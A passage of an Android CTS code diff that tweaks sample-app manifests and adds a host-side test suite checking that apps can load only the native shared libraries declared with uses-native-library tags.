+++ b/hostsidetests/jdwptunnel/sampleapps/debuggableapp/AndroidManifest.xml
@@ -16,16 +16,16 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.jdwptunnel.sampleapp.debuggable">
+     package="android.jdwptunnel.sampleapp.debuggable">
 
     <application android:debuggable="true">
-        <activity android:name=".DebuggableSampleDeviceActivity" >
+        <activity android:name=".DebuggableSampleDeviceActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/jdwptunnel/sampleapps/profileableapp/AndroidManifest.xml b/hostsidetests/jdwptunnel/sampleapps/profileableapp/AndroidManifest.xml
index eb73f5d..678e60f 100755
--- a/hostsidetests/jdwptunnel/sampleapps/profileableapp/AndroidManifest.xml
+++ b/hostsidetests/jdwptunnel/sampleapps/profileableapp/AndroidManifest.xml
@@ -16,17 +16,17 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.jdwptunnel.sampleapp.profileable">
+     package="android.jdwptunnel.sampleapp.profileable">
 
     <application android:debuggable="false">
-        <activity android:name=".ProfileableSampleDeviceActivity" >
+        <activity android:name=".ProfileableSampleDeviceActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-       <profileable android:shell="true" />
+       <profileable android:shell="true"/>
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/library/Android.bp b/hostsidetests/library/Android.bp
new file mode 100644
index 0000000..401af9a
--- /dev/null
+++ b/hostsidetests/library/Android.bp
@@ -0,0 +1,111 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_host {
+    name: "CtsUsesNativeLibraryTest",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+    java_resource_dirs: ["res"],
+    data: [":CtsUesNativeLibraryBuildPackage"],
+}
+
+// Note that this app is built as a java library. The actual app is built
+// by the test (CtsUsesNativeLibraryTest) while the test is running.
+// This java library is appended to the built apk by the test.
+java_library {
+    name: "CtsUsesNativeLibraryTestApp",
+    srcs: ["src_target/**/*.java"],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.runner",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+    ],
+    sdk_version: "test_current",
+    compile_dex: true,
+    installable: false,
+    visibility: ["//visibility:private"],
+}
+
+// These are collection of tools and libraries that are required to build
+// an apk by the test. This zip file is extracted by the test and files
+// in the zip are executed from there.
+//
+// There are two tricks used here: 1) host tools such as aapt2 are listed
+// in the `tools` property although they technically are inputs of the zip,
+// not the tools for creating the zip. However, since the java test is not
+// specific to arch, it can't (transitively) depend on arch-specific (x86)
+// host tools. To work-around the problem, they are listed in the `tools`
+// property, and then used as inputs in the `cmd`.
+//
+// 2) signapk and libconscrypt_openjdk_jni are listed in the `host_required`
+// property instead of `tools` or `srcs`. This is because those modules are
+// neither specific to arch (thus can't be in tools), nor provide source (thus
+// can't be in srcs). To access them, their location in the soong intermediate
+// directory is manually searched in the cmd, while dependencies to them are
+// created using the `required` property.
+genrule {
+    name: "CtsUesNativeLibraryBuildPackage",
+    // srcs, tools, required are all "essentially" inputs of the zip
+    // (except for soong_zip which is actually the tool)
+    srcs: [
+        ":CtsUsesNativeLibraryTestApp",
+        ":sdk_public_30_android",
+        "testkey.pk8",
+        "testkey.x509.pem",
+    ],
+    tools: [
+        "aapt2",
+        "soong_zip",
+        "merge_zips",
+        // To make signapk.jar be generated under HOST_SOONG_OUT before this rule runes
+        "signapk",
+    ],
+    host_required: [
+        "signapk",
+        "libconscrypt_openjdk_jni",
+    ],
+    out: ["CtsUesNativeLibraryBuildPackage.zip"],
+    // Copied from system/apex/apexer/Android.bp
+    cmd: "HOST_OUT_BIN=$$(dirname $(location soong_zip)) && " +
+         "HOST_SOONG_OUT=$$(dirname $$(dirname $$HOST_OUT_BIN)) && " +
+         "SIGNAPK_JAR=$$(find $$HOST_SOONG_OUT -name \"signapk*\") && " +
+         "LIBCONSCRYPT_OPENJDK_JNI=$$(find $$HOST_SOONG_OUT -name \"libconscrypt_openjdk_jni.*\") && " +
+         "rm -rf $(genDir)/content && " +
+         "mkdir -p $(genDir)/content && " +
+         "cp $(location aapt2) $(genDir)/content && " +
+         "cp $(location merge_zips) $(genDir)/content && " +
+         "cp $(location :sdk_public_30_android) $(genDir)/content && " +
+         "cp $(location :CtsUsesNativeLibraryTestApp) $(genDir)/content && " +
+         "cp $(location testkey.pk8) $(genDir)/content && " +
+         "cp $(location testkey.x509.pem) $(genDir)/content && " +
+         "cp $$SIGNAPK_JAR $(genDir)/content && " +
+         "cp $$LIBCONSCRYPT_OPENJDK_JNI $(genDir)/content && " +
+         "$(location soong_zip) -C $(genDir)/content -D $(genDir)/content -o $(out) && " +
+         "rm -rf $(genDir)/content ",
+    visibility: ["//visibility:private"],
+}
diff --git a/hostsidetests/library/AndroidTest.xml b/hostsidetests/library/AndroidTest.xml
new file mode 100644
index 0000000..bd7119c
--- /dev/null
+++ b/hostsidetests/library/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS uses-native-library tests">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsUsesNativeLibraryTest.jar" />
+    </test>
+</configuration>
diff --git a/hostsidetests/library/OWNERS b/hostsidetests/library/OWNERS
new file mode 100644
index 0000000..ac8666c
--- /dev/null
+++ b/hostsidetests/library/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 87896
+jiyong@google.com
+
diff --git a/hostsidetests/library/res/AndroidManifest_template.xml b/hostsidetests/library/res/AndroidManifest_template.xml
new file mode 100644
index 0000000..ee0336f
--- /dev/null
+++ b/hostsidetests/library/res/AndroidManifest_template.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<!-- This file is a template. Strings surrounded by % characters are to be replaced -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.test.usesnativesharedlibrary">
+
+    <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="%TARGET_SDK_VERSION%" />
+
+    <application>
+        <!-- This java library is required for the test itself -->
+        <uses-library android:name="android.test.runner" />
+        <!-- Dependencies to the native shared libraries come here -->
+        %USES_LIBRARY%
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.test.usesnativesharedlibrary"
+                     android:label="NativeLibraryLoadTest" />
+</manifest>
diff --git a/hostsidetests/library/src/android/appmanifest/cts/UsesNativeLibraryTestCase.java b/hostsidetests/library/src/android/appmanifest/cts/UsesNativeLibraryTestCase.java
new file mode 100644
index 0000000..9030b2c
--- /dev/null
+++ b/hostsidetests/library/src/android/appmanifest/cts/UsesNativeLibraryTestCase.java
@@ -0,0 +1,499 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.appmanifest.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertThat;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.targetprep.TargetSetupError;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+
+import com.android.tradefed.device.IFileEntry;
+import com.android.tradefed.util.CommandResult;
+import com.android.tradefed.util.RunUtil;
+import com.android.tradefed.util.FileUtil;
+import com.android.tradefed.util.ZipUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.assertEquals;
+
+import java.io.File;
+import java.io.BufferedWriter;
+import java.io.BufferedReader;
+import java.io.FileWriter;
+import java.io.InputStreamReader;
+import java.io.IOException;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import java.util.Arrays;
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+import java.util.stream.Collectors;
+import java.util.stream.Stream;
+import java.util.zip.ZipFile;
+
+/**
+ * Tests about uses-native-library tags that was introduced in Android S.
+ *
+ * The test reads the list of partner-defined public native shared libraries
+ * (see <a href="https://source.android.com/devices/tech/config/namespaces_libraries#adding-additional-native-libraries)">
+ * Adding additional native libraries</a>) and make sure that those are available to the apps
+ * only when they are explicitly listed on the app manifest using the new tag. The libs not listed
+ * are not available even though they are declared as public.
+ *
+ * This test also make sure that the new behavior is only for the new apps targeting Android S or
+ * higher. Apps targeting Android 11 or lower still has access to all partner-defined public libs
+ * regardless of the use of the tag.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test {
+    // The list of partner-defined public native shared libraries
+    private final Set<String> mPublicLibraries = new HashSet<>();
+
+    // The list of public libs that we will make the test app to depend on
+    private final Set<String> mSomePublicLibraries = new HashSet<>();
+
+    // Remaining public libraries that shouldn't be available to new apps
+    private final Set<String> mRemainingPublicLibraries = new HashSet<>();
+
+    private File mWorkDir;
+
+    // Name of a fake library that doesn't exist on the device
+    private String mNonExistingLib;
+
+    // Name of a library that actually exists on the device, but is not part of the public libraries
+    private String mPrivateLib;
+
+    @Before
+    public void setUp() throws Exception {
+        // extract "foo.so" from lines of foo.so ->  (so) foo.so
+        Pattern pattern = Pattern.compile("(\\S+)\\s*->\\s*\\((\\S+)\\)\\s*(\\S+)");
+        Arrays.stream(executeShellCommand("dumpsys package libraries").split("\n")).
+                skip(1) /* for "Libraries:" header */ .
+                map(line -> pattern.matcher(line.trim())).
+                filter(matcher -> matcher.matches() && matcher.group(2).equals("so")).
+                map(matcher -> matcher.group(1)).
+                forEach(mPublicLibraries::add);
+
+        // Pick first half of the public libraries
+        mPublicLibraries.stream().
+                limit(mPublicLibraries.size() / 2).
+                forEach(mSomePublicLibraries::add);
+
+        // ... and remainders
+        mPublicLibraries.stream().
+                filter(lib -> !mSomePublicLibraries.contains(lib)).
+                forEach(mRemainingPublicLibraries::add);
+
+        mNonExistingLib = "libnamethatneverexist.so";
+        assertFalse(mPublicLibraries.contains(mNonExistingLib)); // unlikely!
+
+        mPrivateLib = "libui.so"; // randomly chosen private lib
+        assertTrue(getDevice().getFileEntry("/system/lib/" + mPrivateLib) != null ||
+                   getDevice().getFileEntry("/system/lib64/" + mPrivateLib) != null);
+        assertFalse(mPublicLibraries.contains(mPrivateLib));
+
+        // The zip file contains all the tools and files for building a test app on demand. Extract
+        // it to the work directory.
+        try (ZipFile packageZip = new ZipFile(getTestInformation().getDependencyFile(
+                    "CtsUesNativeLibraryBuildPackage.zip", false))) {
+            mWorkDir = FileUtil.createTempDir("work");
+            ZipUtil.extractZip(packageZip, mWorkDir);
+
+            // Make sure executables are executable
+            FileUtil.chmod(getFile("aapt2"), "u+x");
+            FileUtil.chmod(getFile("merge_zips"), "u+x");
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    @After
+    public void cleanUp() {
+        FileUtil.recursiveDelete(mWorkDir);
+    }
+
+    private File getFile(String path) {
+        return new File(mWorkDir, path);
+    }
+
+    private String executeShellCommand(String command) {
+        try {
+            return getDevice().executeShellCommand(command);
+        } catch (DeviceNotAvailableException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private Stream<IFileEntry> getFileEntriesUnder(String path) {
+        try {
+            return getDevice().getFileEntry(path).getChildren(true).stream();
+        } catch (DeviceNotAvailableException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private Stream<String> findPublicLibraryFilesUnder(String partition) {
+        return getFileEntriesUnder(partition + "/etc").
+                filter(fe -> {
+                    // For vendor partition we only allow public.libraries.txt file.
+                    // For other partitions, partner-added libs can be listed in
+                    // public.libraries-<companyname>.txt files.
+                    if (partition.equals("/vendor")) {
+                        return fe.getName().equals("public.libraries.txt");
+                    } else {
+                        return fe.getName().startsWith("public.libraries-") &&
+                                fe.getName().endsWith(".txt");
+                    }
+                }).
+                map(fe -> fe.getFullPath());
+    }
+
+    /**
+     * Tests if the native shared library list reported by the package manager is the same as
+     * the public.libraries*.txt files in the partitions.
+     */
+    @Test
+    public void testPublicLibrariesAreAllRegistered() throws DeviceNotAvailableException {
+        Set<String> libraryNamesFromTxt =
+                Stream.of("/system", "/system_ext", "/product", "/vendor").
+                flatMap(dir -> findPublicLibraryFilesUnder(dir)).
+                map(file -> executeShellCommand("cat " + file)).
+                flatMap(lines -> Arrays.stream(lines.split("\n"))).
+                filter(line -> {
+                    // filter-out empty lines or comment lines that start with #
+                    String strip = line.trim();
+                    return !strip.isEmpty() && !strip.startsWith("#");
+                }).
+                // line format is "name [bitness]". Extract the name part.
+                map(line -> line.trim().split("\\s+")[0]).
+                collect(Collectors.toSet());
+
+        assertEquals(mPublicLibraries, libraryNamesFromTxt);
+    }
+
+    /**
+     * Creates an AndroidManifest.xml file from the template with the given api level and the list
+     * of mandatory and optional native shared libraries
+     */
+    private File createManifestFileWithUsesNativeLibraryTags(File dir, int apiLevel,
+            String[] requiredLibraries, String[] optionalLibraries) {
+        try (BufferedReader reader = new BufferedReader(new InputStreamReader(
+                    getClass().getClassLoader().
+                    getResourceAsStream("AndroidManifest_template.xml")))) {
+            StringBuffer sb = new StringBuffer();
+            String line = null;
+            while( (line = reader.readLine()) != null) {
+                sb.append(line);
+            }
+            String template = sb.toString();
+
+            sb = new StringBuffer();
+            for(String lib : requiredLibraries) {
+                sb.append(String.format(
+                        "<uses-native-library android:name=\"%s\"/>", lib));
+            }
+            for(String lib : optionalLibraries) {
+                sb.append(String.format(
+                        "<uses-native-library android:name=\"%s\" android:required=\"false\"/>",
+                        lib));
+            }
+
+            String newContent = template.replace("%USES_LIBRARY%", sb.toString());
+            newContent = newContent.replace("%TARGET_SDK_VERSION%", Integer.toString(apiLevel));
+
+            File output = new File(dir, "AndroidManifest.xml");
+            FileUtil.writeToFile(newContent, output);
+            return output;
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private void runCommand(String cmd) {
+        CommandResult result = RunUtil.getDefault().runTimedCmd(100000, cmd.split(" "));
+        if (result.getExitCode() != 0) {
+            throw new RuntimeException(result.getStderr());
+        }
+    }
+
+    private File buildTestApp(int apiLevel,
+            String[] requiredLibraries,
+            String[] optionalLibraries,
+            String[] availableLibraries,
+            String[] unavailableLibraries) throws IOException {
+        File buildRoot = FileUtil.createTempDir("appbuild", mWorkDir);
+
+        // Create available.txt and unavailable.txt files. They contain the list of native libs
+        // that must be loadable and non-loadable. The Test app will fail if any of the lib in
+        // available.txt is non-loadable, or if any of the lib in unavailable.txt is loadable.
+        File assetDir = new File(buildRoot, "asset");
+        assetDir.mkdir();
+        File availableTxtFile = new File(assetDir, "available.txt");
+        File unavailableTxtFile = new File(assetDir, "unavailable.txt");
+        FileUtil.writeToFile(String.join("\n", availableLibraries), availableTxtFile, false);
+        FileUtil.writeToFile(String.join("\n", unavailableLibraries), unavailableTxtFile, false);
+
+        File manifestFile = createManifestFileWithUsesNativeLibraryTags(buildRoot, apiLevel,
+                requiredLibraries, optionalLibraries);
+
+        File resFile = new File(buildRoot, "package-res.apk");
+        runCommand(String.format("%s link --manifest %s -I %s -A %s -o %s",
+                getFile("aapt2"),
+                manifestFile,
+                getFile("android.jar"),
+                assetDir,
+                resFile));
+
+        // Append the app code to the apk
+        File unsignedApkFile = new File(buildRoot, "unsigned.apk");
+        runCommand(String.format("%s %s %s %s",
+                getFile("merge_zips"),
+                unsignedApkFile,
+                resFile,
+                getFile("CtsUsesNativeLibraryTestApp.jar")));
+
+        File signedApkFile = new File(buildRoot, "signed.apk");
+        runCommand(String.format("java -Djava.library.path=%s -jar %s %s %s %s %s",
+                mWorkDir,
+                getFile("signapk.jar"),
+                getFile("testkey.x509.pem"),
+                getFile("testkey.pk8"),
+                unsignedApkFile,
+                signedApkFile));
+
+        return signedApkFile;
+    }
+
+    private boolean installTestApp(File testApp) throws Exception {
+        // Explicit uninstallation is required because we might downgrade the target API level
+        // from 31 to 30
+        uninstallPackage("com.android.test.usesnativesharedlibrary");
+        try {
+            installPackage(testApp.toString());
+            return true;
+        } catch (TargetSetupError e) {
+            System.out.println(e.getMessage());
+            return false;
+        }
+    }
+
+    private void runInstalledTestApp() throws Exception {
+        runDeviceTests("com.android.test.usesnativesharedlibrary",
+                "com.android.test.usesnativesharedlibrary.LoadTest");
+    }
+
+    private static String[] add(Set<String> s, String...extra) {
+        List<String> ret = new ArrayList<>();
+        ret.addAll(s);
+        ret.addAll(Arrays.asList(extra));
+        return ret.toArray(new String[0]);
+    }
+
+    ///////////////////////////////////////////////////////////////////////////
+    // Tests for when apps depend on non-existing lib
+    ///////////////////////////////////////////////////////////////////////////
+
+    @Test
+    public void testOldAppDependsOnNonExistingLib() throws Exception {
+        String[] requiredLibs = {mNonExistingLib};
+        String[] optionalLibs = {};
+        String[] availableLibs = add(mPublicLibraries); // old app has access to all public libs
+        String[] unavailableLibs = {mNonExistingLib, mPrivateLib};
+
+        assertTrue(installTestApp(buildTestApp(30,
+                        requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
+        runInstalledTestApp();
+    }
+
+    @Test
+    public void testNewAppDependsOnNonExistingLib() throws Exception {
+        String[] requiredLibs = {mNonExistingLib};
+        String[] optionalLibs = {};
+        String[] availableLibs = {}; // new app doesn't have access to unlisted public libs
+        String[] unavailableLibs = add(mPublicLibraries, mNonExistingLib, mPrivateLib);
+
+        assertFalse(installTestApp(buildTestApp(31,
+                        requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
+
+        // install failed, so can't run the on-device test
+    }
+
+    @Test
+    public void testOldAppOptionallyDependsOnNonExistingLib() throws Exception {
+        String[] requiredLibs = {};
+        String[] optionalLibs = {mNonExistingLib};
+        String[] availableLibs = add(mPublicLibraries); // old app has access to all public libs
+        String[] unavailableLibs = {mNonExistingLib, mPrivateLib};
+
+        assertTrue(installTestApp(buildTestApp(30,
+                        requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
+        runInstalledTestApp();
+    }
+
+    @Test
+    public void testNewAppOptionallyDependsOnNonExistingLib() throws Exception {
+        String[] requiredLibs = {};
+        String[] optionalLibs = {mNonExistingLib};
+        String[] availableLibs = {}; // new app doesn't have access to unlisted public libs
+        String[] unavailableLibs = {mNonExistingLib, mPrivateLib};
+
+        assertTrue(installTestApp(buildTestApp(31,
+                        requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
+        runInstalledTestApp();
+    }
+
+    ///////////////////////////////////////////////////////////////////////////
+    // Tests for when apps depend on private lib
+    ///////////////////////////////////////////////////////////////////////////
+
+    @Test
+    public void testOldAppDependsOnPrivateLib() throws Exception {
+        String[] requiredLibs = {mPrivateLib};
+        String[] optionalLibs = {};
+        String[] availableLibs = add(mPublicLibraries); // old app has access to all public libs
+        String[] unavailableLibs = {mPrivateLib, mPrivateLib};
+
+        assertTrue(installTestApp(buildTestApp(30,
+                        requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
+        runInstalledTestApp();
+    }
+
+    @Test
+    public void testNewAppDependsOnPrivateLib() throws Exception {
+        String[] requiredLibs = {mPrivateLib};
+        String[] optionalLibs = {};
+        String[] availableLibs = {}; // new app doesn't have access to unlisted public libs
+        String[] unavailableLibs = add(mPublicLibraries, mPrivateLib, mPrivateLib);
+
+        assertFalse(installTestApp(buildTestApp(31,
+                        requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
+
+        // install failed, so can't run the on-device test
+    }
+
+    @Test
+    public void testOldAppOptionallyDependsOnPrivateLib() throws Exception {
+        String[] requiredLibs = {};
+        String[] optionalLibs = {mPrivateLib};
+        String[] availableLibs = add(mPublicLibraries); // old app has access to all public libs
+        String[] unavailableLibs = {mPrivateLib, mPrivateLib};
+
+        assertTrue(installTestApp(buildTestApp(30,
+                        requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
+        runInstalledTestApp();
+    }
+
+    @Test
+    public void testNewAppOptionallyDependsOnPrivateLib() throws Exception {
+        String[] requiredLibs = {};
+        String[] optionalLibs = {mPrivateLib};
+        String[] availableLibs = {}; // new app doesn't have access to unlisted public libs
+        String[] unavailableLibs = {mPrivateLib, mPrivateLib};
+
+        assertTrue(installTestApp(buildTestApp(31,
+                        requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
+        runInstalledTestApp();
+    }
+
+    ///////////////////////////////////////////////////////////////////////////
+    // Tests for when apps depend on all public libraries
+    ///////////////////////////////////////////////////////////////////////////
+
+    @Test
+    public void testOldAppDependsOnAllPublicLibraries() throws Exception {
+        String[] requiredLibs = add(mPublicLibraries);
+        String[] optionalLibs = {};
+        String[] availableLibs = add(mPublicLibraries); // old app still has access to all libs
+        String[] unavailableLibs = {mNonExistingLib, mPrivateLib};
+
+        assertTrue(installTestApp(buildTestApp(30,
+                        requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
+        runInstalledTestApp();
+    }
+
+    @Test
+    public void testNewAppDependsOnAllPublicLibraries() throws Exception {
+        String[] requiredLibs = add(mPublicLibraries);
+        String[] optionalLibs = {};
+        String[] availableLibs = add(mPublicLibraries); // new app now has access to all libs
+        String[] unavailableLibs = {mNonExistingLib, mPrivateLib};
+
+        assertTrue(installTestApp(buildTestApp(31,
+                        requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
+        runInstalledTestApp();
+    }
+
+    ///////////////////////////////////////////////////////////////////////////
+    // Tests for when apps depend on some public libraries
+    ///////////////////////////////////////////////////////////////////////////
+
+    @Test
+    public void testOldAppDependsOnSomePublicLibraries() throws Exception {
+        // select the first half of the public lib
+        String[] requiredLibs = add(mSomePublicLibraries);
+        String[] optionalLibs = {};
+        String[] availableLibs = add(mPublicLibraries); // old app still has access to all libs
+        String[] unavailableLibs = {mNonExistingLib, mPrivateLib};
+
+        assertTrue(installTestApp(buildTestApp(30,
+                        requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
+        runInstalledTestApp();
+    }
+
+    @Test
+    public void testNewAppDependsOnSomePublicLibraries() throws Exception {
+        String[] requiredLibs = add(mSomePublicLibraries);
+        String[] optionalLibs = {};
+        // new app has access to the listed libs only
+        String[] availableLibs = add(mSomePublicLibraries);
+        // And doesn't have access to the remaining public libs and of course non-existing
+        // and private libs.
+        String[] unavailableLibs = add(mRemainingPublicLibraries, mNonExistingLib, mPrivateLib);
+
+        assertTrue(installTestApp(buildTestApp(31,
+                        requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
+        runInstalledTestApp();
+    }
+
+    @Test
+    public void testNewAppOptionallyDependsOnSomePublicLibraries() throws Exception {
+        // select the first half of the public lib
+        String[] requiredLibs = {};
+        String[] optionalLibs = add(mSomePublicLibraries);
+        // new app has access to the listed libs only
+        String[] availableLibs = add(mSomePublicLibraries);
+        // And doesn't have access to the remaining public libs and of course non-existing
+        // and private libs.
+        String[] unavailableLibs = add(mRemainingPublicLibraries, mNonExistingLib, mPrivateLib);
+
+        assertTrue(installTestApp(buildTestApp(31,
+                        requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
+        runInstalledTestApp();
+    }
+}
+
diff --git a/hostsidetests/library/src_target/com/android/test/usesnativesharedlibrary/LoadTest.java b/hostsidetests/library/src_target/com/android/test/usesnativesharedlibrary/LoadTest.java
new file mode 100644
index 0000000..c4af778
--- /dev/null
+++ b/hostsidetests/library/src_target/com/android/test/usesnativesharedlibrary/LoadTest.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.test.usesnativesharedlibrary;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertThat;
+import static org.hamcrest.core.Is.is;
+
+import android.os.Build;
+import com.android.compatibility.common.util.PropertyUtil;
+
+import androidx.test.core.app.ApplicationProvider;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.nio.file.Files;
+import java.nio.file.Paths;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.Set;
+import java.util.stream.Collectors;
+import java.util.stream.Stream;
+/**
+ * Tests if native shared libs are loadable or un-loadable as expected. The list of loadable libs is
+ * in the asset file <code>available.txt</code> and the list of un-loadable libs is in the asset
+ * file <code>unavailable.txt</code>. The files are dynamically created by the host-side test
+ * <code>UsesNativeLibraryTestCase</code>.
+ */
+@RunWith(JUnit4.class)
+public class LoadTest {
+    private List<String> libNamesFromAssetFile(String filename) {
+        List<String> result = new ArrayList<>();
+        try (BufferedReader reader = new BufferedReader(new InputStreamReader(
+                ApplicationProvider.getApplicationContext().getAssets().open(filename)))) {
+            String line;
+            while ((line = reader.readLine()) != null) {
+                if (!line.isEmpty() && line.startsWith("lib") && line.endsWith(".so")) {
+                    // libfoo.so -> foo because that's what System.loadLibrary accepts
+                    result.add(line.substring(3, line.length()-3));
+                }
+            }
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+        return result;
+    }
+
+    private Set<String> vendorPublicLibraries() {
+        try (Stream<String> lines = Files.lines(Paths.get("/vendor/etc/public.libraries.txt"))) {
+            return lines.
+                filter(line -> {
+                    // filter-out empty lines or comment lines that start with #
+                    String strip = line.trim();
+                    return !strip.isEmpty() && !strip.startsWith("#");
+                }).
+                // line format is "name [bitness]". Extract the name part.
+                map(line -> line.trim().split("\\s+")[0]).
+                collect(Collectors.toSet());
+        } catch (IOException e) {
+            return Collections.emptySet();
+        }
+    }
+
+    /**
+     * Tests if libs listed in available.txt are all loadable
+     */
+    @Test
+    public void testAvailableLibrariesAreLoaded() {
+        List<String> unexpected = new ArrayList<>();
+        for (String lib : libNamesFromAssetFile("available.txt")) {
+            try {
+                System.loadLibrary(lib);
+            } catch (Throwable t) {
+                if (!PropertyUtil.isVndkApiLevelNewerThan(Build.VERSION_CODES.R)) {
+                    // Some old vendor.img might have stable entries in ./etc/public.libraries.txt
+                    // Don't emit error in that case.
+                    String libName = "lib" + lib + ".so";
+                    boolean notFound = t.getMessage().equals("dlopen failed: library \"" + libName
+                            + "\" not found");
+                    boolean isVendorPublicLib = vendorPublicLibraries().contains(libName);
+                    if (isVendorPublicLib && notFound) {
+                        continue;
+                    }
+                }
+                unexpected.add(t.getMessage());
+            }
+        };
+        assertThat("Some libraries failed to load", unexpected, is(Collections.emptyList()));
+    }
+
+    /**
+     * Tests if libs listed in unavailable.txt are all non-loadable
+     */
+    @Test
+    public void testUnavailableLibrariesAreNotLoaded() {
